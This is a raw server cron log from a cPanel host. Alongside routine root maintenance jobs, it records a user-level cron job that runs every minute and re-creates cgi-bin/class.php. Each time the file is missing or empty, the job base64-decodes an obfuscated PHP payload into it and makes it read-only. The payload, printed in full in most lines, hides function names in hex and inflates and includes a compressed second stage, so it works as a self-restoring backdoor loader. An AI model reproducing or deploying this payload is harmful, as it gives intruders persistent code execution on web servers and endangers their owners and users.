Nov  9 10:25:01 server CROND[13746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:25:01 server CROND[13744]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:26:01 server CROND[14625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:27:01 server CROND[15443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 10:27:01 server CROND[15444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:28:01 server CROND[16247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:29:01 server CROND[16768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:30:01 server CROND[17440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:30:01 server CROND[17439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 10:30:01 server CROND[17449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:30:01 server CROND[17451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:31:01 server CROND[17797]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:32:01 server CROND[18605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:33:01 server CROND[19420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:34:01 server CROND[20308]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:35:01 server CROND[20974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:35:01 server CROND[20978]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 10:35:01 server CROND[20979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:35:01 server CROND[20976]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 10:35:01 server CROND[20977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:36:01 server CROND[21829]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:37:01 server CROND[22647]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
